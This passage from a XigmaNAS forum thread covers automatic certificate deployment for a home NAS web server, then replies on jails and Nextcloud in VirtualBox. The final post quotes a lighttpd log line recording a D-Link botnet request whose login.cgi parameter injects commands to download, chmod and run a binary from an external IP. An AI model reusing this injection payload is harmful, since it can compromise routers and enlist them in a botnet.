    Code: Select all

    ~# php -f /persistent/path/DeployWebsrvCert.php
    PHP acme cert import: Importing new certificate...
     - /persistent/path/acme/example-1.tld-1/example-1.tld-1.cer
     - /persistent/path/acme/example-1.tld-1/example-1.tld-1.key
     - Writing to config.xml
     - Restarting web server
At this point, I completed the setup of automatic renewal and certificate deployment on my XigmaCloud.
back to topic content
back to thread content
Last edited by Snufkin on 07 Feb 2019 19:56, edited 1 time in total.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
crest
Hardware & Software Guru
Hardware & Software Guru
Posts: 873
Joined: 02 Jul 2012 22:25
Location: Vienna, Austria - GMT+1
Status: Offline

Re: [DISCUSSION] Web server settings and security checklist

#12

Post by crest » 11 Nov 2018 12:35

Hello Snufkin,

very nice, complete and structured tutorial :!:

You put for sure a lot of effort on it, thank you for sharing!

Regards
crest
NAS1: 11.2.0.4 - Omnius (Revision 6766) x64-embedded; MSI 760GM-P23; AMD Athlon(tm) II X2 250 7.58GiB RAM
NAS2: 11.2.0.4 - Omnius (Revision 6766) x64-embedded; MSI MS-7369; AMD Sempron(tm) LE-1250 8022MiB RAM
UPS: APC Back-UPS ES 550G
Extensions: OneButtonInstaller, Extended GUI, NextOwnCloud, BitTorrent Sync, Syncthing, Downloady, Midnight Commander, NCDU, MySQL, Rclone, Themes:

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

Re: [DISCUSSION] Web server settings and security checklist

#13

Post by Snufkin » 12 Nov 2018 09:50

crest wrote:
11 Nov 2018 12:35
...complete and structured tutorial...
Thank you, Crest for your kind words.

I think it's too early to name this bunch of "structured" words and sentences a "complete tutorial", this is most likely a preliminary alpha version. There are still a lot of open questions, especially in topics 1. File and directory permissions and 3. Lighttpd settings.

I would say this forum thread is a call for discussion, a place where all questions will get definite answers.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
alexey123
Moderator
Moderator
Posts: 1563
Joined: 19 Aug 2012 08:22
Location: Israel, Karmiel
Contact:
Status: Offline

Re: [DISCUSSION] Web server settings and security checklist

#14

Post by alexey123 » 12 Nov 2018 15:19

Hello Snufkin
Great work!
But I think, allow access from internet to Xigmanas webserver is not good idea, better way create jail for webserver (Apache, lighttpd, nginx ) mount dataset as webroot and use your manual
May be I mistake
Home11.0.0.4 - Sayyadina (revision 4249)/ x64-embedded on SAPPHIRE Pure Mini E350 / 8G RAM / UPS Ippon Back Power Pro 600
Lab 10.2.0.2 - Prescience (revision 2545) /x64-embedded on Intel(R) Core(TM) i3-3220 CPU @ 3.30GHz / H61M-DS2 / 4G RAM / UPS Ippon Back Power Pro 600
New XigmanasXigmaNAS version 11.2.0.4.6026 on x64-embedded on AMD A8-7600 Radeon R7 A88XM-PLUS/ 16G RAM
TEST1 11.0.0.4 - Pilingitam (revision 4333) bpi-embedded on Allwinner a20 / 1015MiB RAM

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

Re: [DISCUSSION] Web server settings and security checklist

#15

Post by Snufkin » 12 Nov 2018 20:54

alexey123 wrote:
12 Nov 2018 15:19
But I think, allow access from internet to Xigmanas webserver is not good idea, better way create jail for webserver (Apache, lighttpd, nginx ) mount dataset as webroot and use your manual
I like the idea to isolate all web server's stuff on a system level, this exactly what topic
1. File and directory permissions is about.

What place do you suggest storing Nextcloud user data? Inside or outside jail?
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

Shperrung
experienced User
experienced User
Posts: 95
Joined: 04 Apr 2018 16:29
Status: Offline

Re: [DISCUSSION] Web server settings and security checklist

#16

Post by Shperrung » 06 Dec 2018 21:44

Hi
Did you consider Nextcloud installation into VirtualBox. Here is full package with webserver, database, Let'sEncrypt, pocker and suffragettes ;)
https://www.hanssonit.se/nextcloud-vm/
There is a limit 40 Gb available for data but you free to expand it at any time with no limits.
11.2.0.4 - Omnius (revision 6177)
ASRock J3710-ITX, LAN: Realtek RTL8111GR; 16Gb RAM; WD 1Tbx2, WD 2Tb; UPS Powercom WOW500U.

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

Re: [DISCUSSION] Web server settings and security checklist

#17

Post by Snufkin » 08 Dec 2018 20:04

Shperrung wrote:
06 Dec 2018 21:44
Did you consider Nextcloud installation into VirtualBox. Here is full package with webserver, database, Let'sEncrypt, pocker and suffragettes ;)
Thank you, Shperrung for your input.
I've got three Virtual Machines in my PC:
  1. Nextcloud recommended image,
  2. Nextcloud on Debian from scratch (guide),
  3. XigmaNAS with Nextcloud Extension from scratch.
From my point of view it's perfect solution but for testing purposes only. Old desktop hardware, more then 10 years old (see my signature) barely shows average performance.

Besides, Nextcloud on Debian (or Ubuntu) in VM actually means you have to administer host and guest servers simultaneously. It makes personal cloud solution too complicated.

Actually I've already found answers for most open questions in all six topics. And now I'm testing fully working XigmaCloud in trial mode. It simply matter of time to write down all my findings and share them with community.

Stay tuned, in the next series will be the story about virtual hosting and other lighttpd settings.

Spoiler "Unwelcome guest, D-Link routers botnet"

Code: Select all

lighttpd[3273]:	(request.c.1064) request-header:\nGET /login.cgi?cli=aa%20aa%27;wget%20http://46.29.163.244/bins/hentai.mips%20-O%20/tmp/.hentai;chmod%20777%20/tmp/.hentai;/tmp/.hentai%20dlink%27$ HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hentai/2.0\r\n\r\n
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

Post Reply

Return to “WebServer”